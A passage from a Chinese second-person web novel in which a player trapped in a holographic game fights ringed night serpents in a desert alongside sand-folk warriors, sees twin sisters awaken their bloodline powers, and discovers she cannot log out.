达尔勒穆很快回转了,手里似乎还拖着什么东西,走近了你才看清,原来他抓在手里的是一根细长的尾巴。
他将猎物拖到跟前来,沙原巨鼠锋利的门齿正磕在你脚边的土地上。
“刚刚碰到的,这只灰皮子运气不够好。”他这样说道。
你问道:“这是要做什么?”
班哈杜也睁开眼睛走了过来,蹲在这只沙原巨鼠的尸体边上检查了一番:“很完整。”
他抬头看你和双胞胎姐妹:“现在我们讲讲,该怎么处理猎物。”
场面有点血腥,但双胞胎姐妹看得很认真,你皱皱眉,心里吐槽了一下系统的画面屏蔽机制,也继续听下去。
在这场教学完成之后,班哈杜才告知大家可以再次出发了。临走前你还是手痒,采集了一点绿金铁树上的材料放到系统包裹里面。
这算是玩家的通病了,看到稀有的材料就忍不住采集一点,不管有没有用。
反正你用采集术不会直接碰到采集物,对你来说不会有弊端,只要采集术等级够高就行了。你直接折了一小根树枝收起来,没有对树造成太大损伤,众人也没有注意到,只是以为你落在后面几步,一时没跟上。
24. 晓风孤镜
夜色苍茫,月华清冷。
你们一行人伏倒在沙地上,已经盯着前方低矮的小沙丘快一个小时了。
空气里有很浓的血腥味,下午达尔勒穆找到的那只沙原巨鼠被分成了许多块碎肉,零散地撒在班哈杜划定的区域中。
沙漠里的夜晚气温很低,你冻到多了“寒冷”“僵硬”等好几个负面状态,你打量一圈,看见其他人无知无觉一般。
沙民对温度变化这么不敏感吗?
你心里暗暗称奇。
后来还是加米拉注意到了你的异常,她把自己的外披解下来扔给你,笑了一下便同佩莉姆挤在一处了。
白色的披风被轻柔地扔在你旁边,月光在细密的经纬织线间折射出荧荧微芒,落地时连一丝尘沙也未惊起。
你拿过来披在身上,虽然这披风只是薄薄一层,你浑身上下却立刻被一股暖意包围起来,就好像在寒冬腊月整个人浸在热水里,竟然生出几分闲适的困意。
发觉自己已经快闭上眼睛了,你心下微惊,连忙打起精神。
又想起初遇时埃尔维斯带在身边、后来又在钦黛尔身上见到的白布,似乎是叫做……“炽念”?
你捻了捻手下柔软却韧性极强的披风,想了想,压低了声音问一旁的加米拉:“它有名字吗?”
加米拉的眼睛弯弯,正倒映出一抹月牙:“它叫做——‘孤镜’。”
孤镜?
似乎是个很悲伤的名字。
你又问:“佩莉姆的呢?”
听到自己的名字,佩莉姆从加米拉背后探出来半个头,却是蹙着眉,纠结着要不要回答你。
加米拉却冲你挤挤眼睛:“她的叫做‘晓风’。”
话音刚落,佩莉姆一下子缩回去,不肯再出声了。
晓风?
你想了半天也没弄明白这个名字不好开口的点在哪里,大约是……不够有气势?
也说不通啊。
见两姐妹都没有要解释的意思,你便换回原来的姿势伏好,扫视着前方撒过碎肉的区域。
又过了七八分钟,一阵冷风吹过,你只觉得耳骨发僵,耳边仿佛有人在呜咽。
你把加米拉的‘孤镜’裹紧了些,转头问另一边的班哈杜:“我们在等什么?”
班哈杜什么都没细说,布置完之后选了个地方就让你们潜伏着观察前方,但等了这么久还是什么动静都没有,连刚才你同双胞胎姐妹说话他也没有制止。
你很怀疑可能今晚什么都等不到了。
月色陡然一暗,班哈杜握紧了手中的长刀,眼神紧锁前方:“来了。”
不远处的沙丘突然诡异地起伏了两下,你几乎以为是自己花了眼,定神一看,确实没有动静。
本着对班哈杜专业素养的信任,你不再出声,很快进入状态,浑身上下绷紧了弦,蓄势待发。
眼前似乎什么都没变,但你总觉得透着股维和感。
哪里不对劲呢?
乌云悄移,月色陡然大亮,霎那间尘沙飞扬,无数的黑影破土而出!
“战斗!”
班哈杜大吼了一声,立刻像箭一般射向前方,手下的长刀在沙地上拖行,划出一道长长的印迹。
达尔勒穆紧随其后,他的身法似乎比班哈杜更加流畅,一路冲过去几乎没有在沙地上留下任何痕迹。
你一咬牙,扔下加米拉的“孤镜”,抽出自己的法杖立刻跟上。
无数蜷曲的黑影在地面上陡然出现,留下一个个残破的地穴,不停有沙子在灌入低处,但其中尚未到达的地面的黑影也未停止挣扎,发狂似的迅速扭动着。
有的黑影在不断聚集壮大,最终变成了极为骇人的硕大体型,有的黑影却分裂出无数的触角,不停在半空中挥舞着。
走近了一看,你立刻感到头皮发麻。
这不是什么黑影。
全部是蛇!
无数的细长黑蛇在地上伏游,争抢着地上的碎肉块纠缠在一起,它们背上有着诡异的白色眼睛状花纹,密密麻麻聚在一起,看得人浑身发毛。
外围的蛇不断想要挤进去争夺猎物,甚至开始攻击起自己的同类来。它们互相撕咬着,空气中的血腥味也越发厚重,还带着股腐烂般的恶臭,熏得人头昏脑胀。
但这些蛇仿佛受到了刺激,彼此攻击越发激烈起来,有的蛇张大了嘴开始吞噬起同类来,这些同类相食的家伙的体型极速膨胀起来,连背上连成一片的白色眼睛也扩大了好几倍,仿佛有无数双硕大的眼睛在瞪视着周围的敌人。
你心脏碰碰直跳,先点“护甲”,直接朝着蛇群最密集的地方扔了个“群伤”下去。
效果很不错,随着爆炸声响起,无数条蛇的残肢被炸飞开来,滚烫的沙子扬了你一脸。
“咳咳。”
耳边叮了一声,传来等级提升的系统提示音。
你掩鼻,空气中腐烂的恶臭越发浓厚了,混杂着皮肉的焦糊味,说不出的古怪。
冲在前面的班哈杜和达尔勒穆相背而立,不断挥舞着手中的长刀,或劈或挑,利落地将尚未来得及吞噬同类的小蛇砍成两段。
间你扔了个爆炸技能,班哈杜猛然大吼一声:“攻击眼睛!”
眼睛?
你抬起法杖,调动法力对着不远处的一条小蛇,直接将它的眼睛连着整个脑袋炸开了花,血浆一瞬间迸裂而出,落在沙地上却很快找不到一点痕迹了。
蛇尸绷直了一瞬,左右剧烈扭动了几下便落在一边不动了。
你正想换下一个目标,却发现那具被炸掉头的蛇尸诡异地拱起,以极小的幅度不停左右晃荡起来。
不好!
你顿感不妙,心头警铃大作,想要移动变换位置,左边肩膀却突然传来一阵剧痛!
“啊!”
系统提示音一响,“愤怒”已经被自动触发了。
你立刻反手扔了个普攻,半截蛇身啪嗒一声落在你脚边。
瞟一眼状态栏,没毒,很好。
但微微侧首,那被斩成两段的蛇头部那段竟然还死死咬住你的肩膀!
不是眼睛。
你抽身迅速移动,“护甲”“坚固”“反刺”三个技能一次性全交,右手直接抓住那截蛇头,用力一撕,直接将它扯了下来!
法杖一挥,瞬发的攻击直接落在那半截蛇上。
是背上的“眼睛”。
你轻出一口气,忍住呼痛声,给自己
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点了“清润”。
这些蛇速度极快,瞄准一点实在不容易,但你找到了诀窍,又占了法术攻击有效距离长的优势,还是几下就把周身的几条小蛇清理干净了。
你还注意到,攻击蛇背上的眼睛虽然可以提高伤害,但不同的位置增幅似乎也不同。又多试了几次,你发觉攻击从蛇头往下数的第三或第四个眼睛伤害最高,且攻击这里蛇怪不会恢复。
【叮】您的细心观察使得鉴定术等级提升!
【图鉴解锁中……】
【环纹夜蟒】已收录
【环纹夜蟒】常于迷惘沙漠中夜间出没,无毒,不可食用,自身恢复能力强,弱点是背上的眼睛状花纹(第三至四只眼之间防御最弱),有同类相食的特性,族群间个体差异大,弱者不堪一击,强者身长数百米、能轻易摧毁一座城墙。
看着系统解锁的内容,你提了一口气,幸好现在知道还不算晚,没酿成大错。
有了系统的说明,你更肯定自己的想法了,控制着法杖找准了这些环纹夜蟒的弱点,争取一击致命。
一边是班哈杜和达尔勒穆成了一组配合得当,双胞胎姐妹在另一处,都离你有一段距离。你一个人在孤军奋战,一开始你不能顾全所有方位,难免挨了几口。这蛇虽然没毒,但留下的伤口却痛感格外鲜明,你皱紧眉头,时刻注意着“清润”这个技能,CD时间一过就立刻给自己回血。
打到后面,你的技能熟练度不断提升,等级也又升了一级,但蛇却始终不见少,密密麻麻缠绕成一团格外疯狂地在地上彼此撕咬、吞噬,杀了半天也还是要担心无处落脚。
“这蛇怎么杀不完!”你听到佩莉姆喊了一声。
转头一看,她和加米拉彼此后背贴后背站得很近,手中都持着短刀劈砍着不断弹射飞来攻击的环纹夜蟒,应对虽不甚利落,谨慎之下却也没大错,将彼此的后背护得严严实实。
你换了个方向,随手扔出法术精准打击环纹夜蟒弱点的同时朝着双胞胎姐妹的方向慢慢移动,帮她们吸引周边的攻击,好减轻她们的压力。
你靠近的同时,两姐妹也注意到了,彼此很默契地交换了位置朝着你的方向靠拢。
这时正面对着你的是加米拉,她面色苍白,拿刀的手不断颤抖着,你几乎以为她会将武器脱手,但下一刻她却能将所有的攻击都挡下。
“小心!”
你紧张地出声提醒,手上法杖动作更快,几乎是话音刚落,那条试图从加米拉视角盲区攻击的环纹夜蟒已经被你打落在地了。
怪物太多了,你既要顾全自己,还要分神注意两姐妹,帮她们清理冷不丁从阴影里冒出来的家伙。
耳边不断响起蛇类的“嘶嘶”声,你头昏脑胀,努力打起精神,看一眼体力条,你尽力平复着自己的喘息以减少消耗。两姐妹状态比你更糟,两个人都摇摇欲坠,你不知道她们的意志还能支撑多久。
怪实在太多了,杀完一部分又不断有新的冒出来横亘在你们之间,使得拉进距离这件事变得无比困难。
“保持专注!”班哈杜也注意到了这里,他大声提醒的同时,也跟达尔勒穆配合着向着你们的方向移动。
“默念真言,调动血脉之力!”
25. 姐妹
这次出声提醒的是达尔勒穆。
两姐妹闻言却没动,似乎想要回头看看对方,但苦于频繁而密集的攻击无法分神。
你对沙民的能力知之甚少,只寥寥几次见过他们运用自己的血施展天赋,实在没办法在这方面帮上忙,于是咬着牙,完全不顾自己身体的疲惫和疼痛,加快了输出速度往她们身边移动。
快一点!快一点!
几个防御技能生效时间有限,攻击CD长,更多时候你只能用普攻,于是提高精准度瞄准要害就成了你增加伤害的唯一手段。
到现在你也不过是硬撑着而已,升级之后状态栏会刷新,疲惫也一扫而空,但这样的轻松是短暂的,很快又在密密麻麻的攻击中不断消耗体力,周而复始。
你瞟一眼还有一大截空着的经验条,再看看几乎站立不稳的两姐妹,心下发狠,再一次提高了输出速度。
——————
佩莉姆觉得自己脚下发软,那些蛇飞扑一般弹射过来攻击,它们显露尖牙大张着嘴巴,喉口仿佛是一个无底的黑洞要将自己吞噬下去。但想到背后的加米拉,她又觉得自己多了一丝力气,狠狠迎上去将它们斩成两段。
加米拉在颤抖,她一向比自己更柔弱,佩莉姆感受着背后传来的温度,不知道她是在害怕还是太累了。但佩莉姆还是稍稍感到安心,她一开始冒冒失失的,被一口咬在脚踝,现在伤口还在作痛,却始终一次也没受到过来自背后的伤害。
加米拉都帮她挡下了。
佩莉姆抬手,调动麻木的胳膊又狠狠斩下一条环纹夜蟒。
绝不允许你们伤害我妹妹。
绝不。
听到达尔勒穆大人的提醒,佩莉姆内心越发焦灼,没办法,她们姐妹俩天赋都不算好,平日里又少有机会练习,密集的攻击之中更是找不到施展的时机。
她快速地换着气,胸膛剧烈起伏着,一颗心几乎要跳出来了。
佩莉姆空着的手捻了一下披在外面的“晓风”,心里默念着阿夏尔的名字。
这是沙民们为数不多的、可以静默地呼唤自己信仰的时刻。
佩莉姆试图从这些小动作中找到一些安全感。
月色时明时暗,而她头脑发胀,眼前几乎能看到重影,那条试图从她身上撕下一块肉的蛇就张着三张大口。
幸好,这一次她还是挡住了。
砰砰——
砰砰——
砰砰——
这是什么声音?
佩莉姆以为自己到了强弩之末,连心脏跳动的声音都响得如此剧烈。
“啪啦——”
有什么东西爆裂着破土而出的声音,佩莉姆心脏一阵剧痛,挥舞的短刀一下子落空了。
不可以——
她失去了平衡,重重地匍倒在沙地上,手中的短刀脱手之后翻滚了好几圈,“唰”的一声插进沙地里。
绝不可以!
——————
你机械地重复着扔出攻击的动作,眼睛精准地锁定即将要打击的那一点,挥挥法杖,细长的蛇身立刻断成两截。
环纹夜蟒这弱点实在太恶心了。
虽然目标明显,但它们数量实在太多了,那些扭曲而诡异的眼睛花纹看得多了直叫人眼前发晕。
还附带精神攻击的,密集恐惧症患者立刻退散。
你苦中作乐着在心里吐槽。
手上攻击不停,眼睛却始终关注着不远处双胞胎姐妹的状态。
近了,更近了。
你呼出的气体在空气中冷凝成一大团白气,肺部传来烧灼一般的痛感,后脑生疼,耳内轰鸣。
你比任何人都清楚现在你的状态有多糟糕。
这些环纹夜蟒似乎也发现了你正是强弩之末,不约而同缩紧了对你的包围,蜷在两三步之外时刻准备趁虚而入。
它们的尾巴不断在地上拍打着,形成了一股奇异的韵律。
“嗒——嗒——嗒——”
你把自己的舌尖咬破了,干涸的口腔立刻充斥着一股子铁锈味。
“嗒——嗒——嗒——”
疼痛使你清醒,盯着经验值不断上升的等级条,手下飞速动作着。
“嗒——嗒——嗒——”
头晕目眩。
这声音实在叫人烦躁。
有时候脚下踩进松软的沙子里,你便卸力往下陷,你顾不得那么多,继续拔脚往前艰难地移动。
手下的动作令人眼花缭乱,你不用思考太多就凭着肌肉记忆完成了一次次攻击。
还差一点!还差一点!
“啊!!!”
重物扑倒的声音和少女惊惧的尖叫。
你脚下用力一蹬——
就是现在!
——————
“太多了。”达尔勒穆眉头紧锁,盯着脚下水流般不断涌现的蛇群。
班哈杜刚刚砍断了一条膨胀到大腿粗细的环纹夜蟒,那家伙的断肢很快吸引来一大群同族,手指粗细的蛇群一拥而上,片刻间地上便只剩下一堆染血的鳞片。
他往达尔勒穆的方向后撤几步,脸色又黑又沉。
“这不合理,班哈杜。”他听见身后的达尔勒穆这样说着。
班哈杜在战斗间隙回头瞟他一眼,达尔勒穆正弓步上前,挥手斩断一条硕长的蟒蛇,他的基本功向来很扎实,挥砍的长刀因他的用力深深扎入地下。
而被斩断的蛇尸很快被其他伺机而来的同类分食,同刚才他见到的场景一模一样。
转头瞟一眼另外的方向,那位矮小的绿发妖精使者离着双胞胎姐妹还有上十步的距离。
这个角度班哈杜只能看见加米拉月光下惨白的面容,她两条裸露在外的臂膀遍布伤痕,身体摇摇晃晃,仿佛下一刻就会倒下。
地面上密密麻麻的蛇群铺开一大片阴影,变成了一片笼罩在心头的阴云。
“去那边。”班哈杜咬着牙,最终做出了决定,“准备后撤。”
“好!”达尔勒穆大声遥遥回应道。
两人持刀收势,转攻为守,向着目标杀出一条路来。
他们在应对这样持久的战斗方面其实并不占优势,但两人从前在长久的配合中磨练出来的默契丝毫不逊色于双胞胎姐妹,即使他们很久没有再合作过,手中的刀依旧朝着预期的方向挥出,不断
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为对方扫清障碍。
班哈杜脚下一滑,失去平衡向后仰去,背后却立刻传来铠甲相撞的金属声,达尔勒穆头也不回,正好后撤到恰当的位置用肩膀往上一顶。
“小心些。”刚站稳的班哈杜听见达尔勒穆这样说。
他不由得有些晃神,时间仿佛于过去的某一刻重叠了。
“不!”
少女惊惧的尖叫划破夜空,班哈杜一惊,立刻朝着声音的来源转过头。
血、血、血。
视线中只看得见一片猩红,细密的血雾散溢开来,塑成一片噬人的恐惧。
空气中的铁锈味浓厚到叫人喘不过气,两个人都惊立在原地,班哈杜看见那片血色之中有人倒下了。”
所有蛇群立刻放弃了这两位穿着铁甲的战士,发狂似的朝着那片血色聚拢,即便一靠近血雾边缘就被撕碎,无数的蛇仍然前仆后继游过同类的碎尸,朝着那猩红汇集成极为可怖的庞然大物。
比它们更快的是一抹翠色的影子,她陡然加速,猛地向前一跃!
灼热的气浪翻涌而来,耳边轰隆一声巨响,班哈杜和达尔勒穆都被掀翻在地,一时间无数尘沙纷纷扬扬撒落,焦糊的碎肉块从半空啪啪落在沙地里。
晨光破晓。
一切都结束了。
“咳咳。”班哈杜手脚并用地爬起来,朝着爆炸的源头跑过去。
“慢一点。”达尔勒穆上前扶住他的手臂,声音难掩担忧。
“放开。”班哈杜一挥手,跌跌撞撞往前走了几步。
空气中细密的血雾已经消散了,茫茫黄沙卷过,视线内一个人影也没有。
“咚——”
班哈杜跪倒在地,眼中一片血红。
“可恶!”他受伤的右手用力捶在沙地上,再度被撕裂的伤口中不断涌出鲜血。
达尔勒穆走上前,将手搭在他的肩膀上。
手下健硕的身躯在颤抖着。
达尔勒穆垂下眼,持刀的右手紧紧握起,抿住嘴角一个字也说不出来。
气氛一时死寂。
“咳咳。”你从沙子堆里艰难地举起一只手,闷闷地说道,“如果方便的话,请拉我们一把。”
手上立刻传来一股巨力,身体不由自主地往上仰,你从地底被拔了出来。
“好痛!”你席地而坐,揉着手腕呲牙咧嘴,“她们没事吧。”
班哈杜把住两姐妹的手腕,细心探查了一遍,摇摇头:“万幸,只是血脉觉醒,没有大碍。”
你挑眉,惊讶道:“她们直到今天才觉醒吗?”
“是的。”班哈杜嗯了一声表示肯定,“这也没什么稀奇的,血脉之力的觉醒本就没有定律,我到现在也没做到。”
“哦。”你不再多问,本能地觉得班哈杜不会多说这件事。
你低头打量自己的手腕,红了一圈,动作间也稍有不适。班哈杜那一下实在太用力了,升级之后刷新的状态栏又多了个“损伤”的debuff,你不由得暗叹倒霉。
还是被沙子埋了第三次啊。
眼前忽的一暗,你眯着眼抬头,班哈杜逆着光站在你身前,正向你伸出手。
26. 错觉
“大人,您是真正值得尊重的强者,感谢您为我的族人所做的一切,您用实力赢得了班哈杜的尊重。”
班哈杜半跪在你身前,低下他一贯高昂的头颅,轻轻托起你受伤的手腕,并如是说道。
“不。”你轻轻摇头,温和地看向那相互依偎的两姐妹,“是加米拉,她保护了自己和佩莉姆。”
小巨曾经告诉过你,到了24级就会解锁连招,而到这里,才算越过了新手期的分水岭。
一开始你只想着,尽快升级提高战力可以撑得更久、能帮双胞胎姐妹分担更多。
但在佩莉姆倒下那千钧一发之际,险险凑够了升到24级经验值的你,除了拿自己可以复活的这一点当赌注以外,别无选择。
但佩莉姆的觉醒却刺激了周围的环纹夜蟒,使得它们疯狂聚集起来。
这就是你等待已久的时机。
你扔出“爆裂”之后,只来得及将双胞胎姐妹扑倒护在身下。
但比你更近、行动更快的确是加米拉。
像是一对火红色的蝴蝶从她后背绽放,用坚韧而温暖的双翼将两姐妹严严实实地包裹在茧中。
而你,只护住了一道温暖的波动。
“看看加米拉吧,她大概也‘觉醒’了。”你这样说道。
一旁的达尔勒穆眉宇间透露出一丝难以置信,却仍然照着你的话做了。
他想要拿起加米拉的手腕,却发现即使是在昏迷中,她也紧紧扣住一旁的佩莉姆不松手,浑身上下都是紧绷而僵硬的。
达尔勒穆曲起并住的指尖,轻轻搭在加米拉小臂中央,片刻后,抬头望向班哈杜,眼中是尽是惊喜和沉淀过后的欣慰。
他朝着班哈杜无声的点头。
“呼——”
你松下一口气来,自己的猜测没错。
班哈杜的蓝色的眼睛里有那么一刻竟然浮现出泪光,在晨光的照耀下显得格外温柔。
但他很快低下头,快到让你以为自己捕捉到的这一丝真情流露是错觉。
班哈杜再次开口时声音已经听不出一丝波动了,他也用上了那些冠冕堂皇的赞语:“感谢您,祂的使者,您的降临,是我们一族的荣幸。”
他的举动明明比起之前礼貌得多,既让人觉得备受重视,又不会令人心生惶恐,一举一动拿捏得恰到好处,按照你一贯奉行的行为准则来说,你应当同样礼貌地表示谦逊。
但不知为何,当铠甲上沾着堪堪凝固的黑色血液的班哈杜这样跪在你面前时,当他对着浑身上下一片狼狈连头发丝间都沾满沙子的你宣誓忠诚时,你却像突然被人无端地用力砸了一拳后,却又被推开到千里之外,立刻清醒了。
你说不清自己为什么会莫名其妙地抽离出来,也不明白究竟是哪里让自己感到不对劲。
你甚至忘记了自己是怎样回答班哈杜的。
等你醒过神来,这两位高大的沙民战士一人扛起双胞胎姐妹中的一个,告诉你准备撤离了。
班哈杜额前飘扬的碎发在晨曦中闪着金光,他拿出一卷卷起的卷轴道:“神使大人,先回城休整吧。”
你挑挑眉,目光落在系住羊皮卷的红绳上。
班哈杜的视线跟随着你目光的落脚点,很快解释道:“很抱歉大人,之前的行程是我的私心,我需要用我自己的眼睛去验证,您是否真正值得信任。”
你似笑非笑起来:“那你验证的答案是怎样的呢?”
而班哈杜的回答,却显露了他个性中不甚鲜明、却切实存在的圆滑一面:“我只是,肯定了我原本稍有疑虑的那个答案而已。”
他随手扬起卷轴,暗红色的光芒很快在沙地上浮现。
“请。”班哈杜低下头,恭谨地等在一旁。
你用余光瞟了他的后脑勺一眼,抬脚率先进入传送阵。
双脚很快踏上实地,房间里很昏暗,但有你熟悉的灯油味。
是神殿里的大厅。
静坐在高台之下的普尔伽什很快睁开眼,站起身,转身迎着你走开。
“怎么会弄成这样?”她的目光惊疑不定,在你身上的小擦伤之间来回打量。
“一点意外。”班哈杜并不多讲。
“一点?”看到被放在地板上却仍旧昏迷不醒的两姐妹,普尔伽什睁圆了眼,不由自主地抬高声音,“我好好的两个孩子回来变成这样,你告诉我这只是一点意外。”
“觉醒的后遗症。”达尔勒穆解释起来同样惜字如金,“算是因祸得福了。”
普尔伽什略过你,快步走上前,亲手探了探两姐妹的状况,才像松下一口气,她转身问起自己的两位族人:“这究竟是怎么回事?”
“神殿之内不得高声,祭司大人。”班哈杜的提醒似乎意有所指,普尔伽什想要说什么,却被他再度打断了,“是环纹夜蟒,它们的数量多到不合理。但不管怎么样,请您保持耐心,等到了瓦萨达蒂面前再听我解释吧。”
“你!”
这话中一触即发的火药味,即使是你这个局外人也能听得出来。
但幸好达尔勒穆拉住了他们。
“暂且停下你们的争辩吧,现在不是合适的时候,神使大人和这两姐妹都需要休息。”
他这样说着,你分明看见了达尔勒穆眼中的顾忌。
于是三个人的目光同时转向你。
“我去休息了,如果两姐妹这边需要帮忙,过来叫我就好。”
撂下这句话,你尴尬而不失礼貌地迅速远离了争论的中心。
“砰——”
你带上门,将自己的重心全靠在门上,这才真正松下一口气来。
等到不必应付所有人的这一刻,你才迟钝地醒悟过来,自己对班哈杜的举动感到怅然的原因。
——沙民们太“礼貌”了。
这不是说你觉得“礼貌”这件事本身不好,它甚至是你父母从小用来教导你的一项“准则”。
——“伸手不打笑脸人”,这是来自妈妈的一句格言。
但沙民们的“礼貌”,不是你所理解的那一些为了表示友善的、约定俗成的行为——他们的“礼貌”是给你划了一道线,他们退到线后,而你也不可以越过去。
所以即使是争吵起来,也要顾忌你这个“外人”在场会不好看。
明明才下定决心,不再去思考对游戏角色的重视是不是一种傻气。
你突然感到索然无味。
如果说这是传统游戏里的一段剧情,你绝不会抱怨什么。
如果班哈杜一开始就像刚才一样礼貌而冷淡,你也不会多说什么。
但这明明是一个打着高自由度的旗号的全息游戏!
你明明见识过有着各种各样性格的、生动到让人难以分辨的“人”!
你也明明看到过,有着截然不同态度和截然不同可能的、那一个“班哈杜”。
你垂下头。
视线却移到了被关上的好感度提醒标识上。
如果打开的话,能知道原因吗?
你的指尖在选项上犹豫了很久,最终还是收了回来。
不能每次都依靠所谓的“好感度
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”提醒。
这背离了我的决心。
你关上了潘多拉的盒子,这样暗暗告诫自己。
但想到那个人,你心中一窒。
——只是被沙民们拒绝了一次的你已经如此不好受了,那从小到大就被无视到底的埃尔维斯呢,他又经历过一些什么?
“咚咚——”
你在敲门声中中断了思绪。
“是谁?”你隔着门问外面人的来意。
说实话,如果不是双胞胎姐妹那边有问题,你暂时不太想见到沙民们。
“是我。”
但出乎意料的,回应的是个年轻而悦耳的男声,你甚至可以听出他舌尖吐露出来的字眼中真正蕴含的感情是怎样的犹豫纠结。
“您现在还好吗?”埃尔维斯隔着门轻声问道,他顿了顿,又补充,“您去了很久,我有些担心。”
听到他话中几乎直白显露出来的感情,你不由自主地放松了肩膀。
“我很好。”
你听到埃尔维斯放松地呼气,自己却被吓了一跳。
我的声音,以前有这么温柔吗?
你立刻掩住嘴。
但埃尔维斯却像是误解了你的沉默。
他似乎在门外徘徊着,最终却退了回去,只道:“既然您回来了,我就放心了,请您好好休息吧。”
埃尔维斯咽下了口中的话,转身想要回到自己的房间去,不再打扰妖精少女。
“等一下。”
被叫住了。
埃尔维斯转过头,回应门那边的妖精少女:“大人,您还有什么吩咐吗?”
他看着妖精少女倚在门后的影子,她的头发在窗纱上炸起一团刺球,但埃尔维斯此时的目光中,却有着自己也未曾留意的关切。
你咬着下唇,终究还是开口了:“上次我告诉你的建议,你还是忘记吧。”
“哦。”埃尔维斯这样低低地应了一声,“好的,大人。”
你可以清晰地听出他的声音由激动转向低沉的那一丝变化。
你赶忙又解释道:“我不是要收回之前的话!我只是……突然觉得我的建议可能对你来说太空泛而不切实际了,因为我发觉自己原来也不是很擅长应对困境……是我太自负了……”
你说到最后,几乎要被羞耻淹没了,声音小到几不可闻。
为什么!为什么能对着别人身处的困境那样泛泛而谈呢!
你在内心深处唾骂着自己。
“原来是这样。”埃尔维斯的声音却再度轻松起来,“我还以为您是想收回之前说是我朋友的话。”
他试探着问道:“那么,我们现在还算是朋友吗?”
“当然。”
你这样回应了他,觉得内心酸酸胀胀的。
“埃尔维斯?”许久不曾听见门外的动静,你几乎以为他已经离开了。
“我在。”他低沉的、带着笑意声音突然变得清晰起来,有指尖拂过门环的声响,“您并不自负,您要知道,您的话已经给了我莫大的安慰了。”
——“我好像真的从您的话中窥见了那个‘美妙’的‘未来’。”
埃尔维斯离开了,你没有见他,心里默念着这句话,慢慢就从那种微妙的抽离感中解脱出来了。
“明天再见吧,埃尔维斯。”
你在心中这样向他道别。
打开系统界面,打开后台,点击下线。
你闭上眼,等待着熟悉的金属舱门出现在眼前的那一刻。
但当你睁开眼,什么也没发生。
27. 信念
“大人,您还好吗?”
埃尔维斯担忧地看着你。
“我没事。”你勉强冲匍匐在一旁的他挤出一个笑容,很快低下头。
看着游戏界面毫无变化的任务栏和一分一秒过去的倒计时,你感到焦躁不安。
一开始发现无法脱离剧情下线的时候,你只是有些不解,多点了几次确认过自己操作无误之后,你也只是猜测是不是卡在了关键剧情。
但在过去了十多个小时之后,你无比确信,你确实无法下线了。
这意味着什么?
这意味着,你被留在了这段在主世界甚至可能不存在的剧情线里,要在一个人生地不熟的地方毫无准备地独自渡过。
意味着,你除了唯一明确的任务要求,毫无目标毫无方向,甚至不确定自己会不会在下一秒消失在茫茫的数据流波动之中。
还意味着,你再不能回到作为玩家时的轻松心态,只能克制着自己对现实中亲人朋友的思念,在这个危机四伏的世界里坚持下去。
焦虑感一度让你伤害起了自己的身体,手指稍微用力,你轻而易举地抓破了自己的皮肤,鲜红的血液缓缓渗出。
痛觉明确地从皮肤传导到大脑,你意识到自己原来还会痛。
只看伤口的话,好像一切同现实都没什么差别。
真实到令人恍惚的程度。
这里,真的是游戏的世界吗?
你打了个冷颤。
抬起手,你打量着自己染血的指甲,说不清现在的心情。
现在回忆起来,一切似乎早就有预兆了。
双胞胎姐妹做的肉干,你不是没尝过辣味的,但从来没有像昨天一样辣到喉咙发痛。
自己吐槽过的班哈杜处理沙原巨鼠的血腥场面,是不是冥冥中在提示自己呢?
还有昨天在沙漠的时候,比第一次同埃尔维斯在沙漠中穿行时更加难耐。
你把操作界面的痛觉调到最低,手臂上的伤口仍旧隐隐作痛,没有一丝好转。
早就应该发现的。
你把回血药倒出一点,伤口很快恢复如初,冷着一张面无表情的脸,心里不断埋怨着自己。
为什么不早一点注意到呢?
早一点发现,换一个时机说不定就可以下线了。
或许更早一点,从剧情流速变快的时候,意识到不对劲之后,只要远离游戏或者及时排查,说不定就能规避风险。
这一类“如果早知道”的懊恼充斥了你的头脑,让你无暇再去思考其他东西。
你甚至不敢去想如果下一秒整个游戏世界会不会化为虚无。
看着任务界面最上端寻找火凤金色尾羽的那一栏,你握紧了拳头。
这一个任务,是【放逐之子】这个奇遇的核心任务,你记得自己做完第一章解锁任务之后被强制弹出下线,那么以同样的逻辑来思考,完成了核心任务、结束奇遇剧情之后,玩家也会强制从游戏剧情之中脱离。
此刻你心里充斥着许多疑虑的杂音,但你将它们全部按了下去。现在,你根本没有可以选择不去赌的资格,除了相信这样做能摆脱困境之外,别无他法。
“可恶!”你用力在沙地上砸了一拳,小指外侧手掌微微有些刺痛。
“怎么了?”被你突然发出的声音惊扰,周围三个人的视线都投向你。
“没事。”你忘记了现在的处境,一时间有些失态,只得勉强同他们解释起来,“等了这么久,有点焦躁了。”
埃尔维斯担忧道:“如果您累了的话,不妨休息一会儿,等需要战斗的时候我叫醒您。”
你打量一圈周围的环境,同昨天一样的碎肉撒出一圈来,空气中是令人烦躁的血腥味,夜色黑沉,月光被云层遮蔽,这里的一切都令人不快。
但你知晓自己来此的目的。
“我不累,只是想起昨天的事情,稍微有些不安。”你抿抿唇,“是我太急躁了,我会调整情绪。”
班哈杜似乎想说些什么,嘴角动了动,却没有说出来,只是将目光投向一旁的达尔勒穆——他是今天的领队。
你不知道在自己离开之后,班哈杜、达尔勒穆和普尔迦什三人之间发生了什么。
今天下午出发的时候仍然是普尔伽什前来通知你,她只轻描淡写道:“今天的领队是达尔勒穆,加米拉和佩莉姆姐妹会留在神殿休息。”
于是埃尔维斯自告奋勇跟了上来。
普尔伽什没有阻止,她只是把另一件白色的披风交给你。
这一件比起你见过的另外三件都要短,只能遮住大半个上半身,剪裁也不甚精湛,款式不像沙民们偏爱的宽袍,更像是现实生活中常见的短外套。
但普尔伽什的目光中充满了留恋,她在指尖抚摸过披风的一刻卸下了心防,眼神温暖:“这是我小时候自己做的,手工实在粗糙,一晃也这么多年了。”
看着普尔伽什的举动,你突然从被困游戏的焦躁中解脱了一瞬,轻声问道:“它叫什么名字?”
普尔伽什脸上写满了怀念:“炎息。”
而此刻你正把它披在身上,同班哈杜、达尔勒穆和埃尔维斯一起,在沙漠中等待环纹夜蟒的出现。
领队的达尔勒穆同班哈杜在为人处世上风格迥异,他话很少,如果没有必要不会多同你接触,但做事十分稳重,往往在人开口之前他就解决好了一切。
听完你的解释之后,他只是点了点头:“昨天只是意外,环纹夜蟒不是每晚都会出现的。”
班哈杜不满地撇撇嘴,你甚至可以看清夜色中他醒目的白眼:“这家伙的意思是,不用那么紧张。”
接着他又补上一句:“真正的猎手,要学会保持耐心。”
他又变回了一开始的态度,那股若有若无的距离感不知何时消弭了。
你也点点头,调整好姿势,继续盯着前方划定的区域。
天亮之前,环纹夜蟒果然没有出现。
你像是死期到来之前,突然被告知延期了,心中一时忧虑一时释然地跟着几人回了风沙城。
——————
加米拉端着一杯鲜奶,伫立在你关紧的房门前。
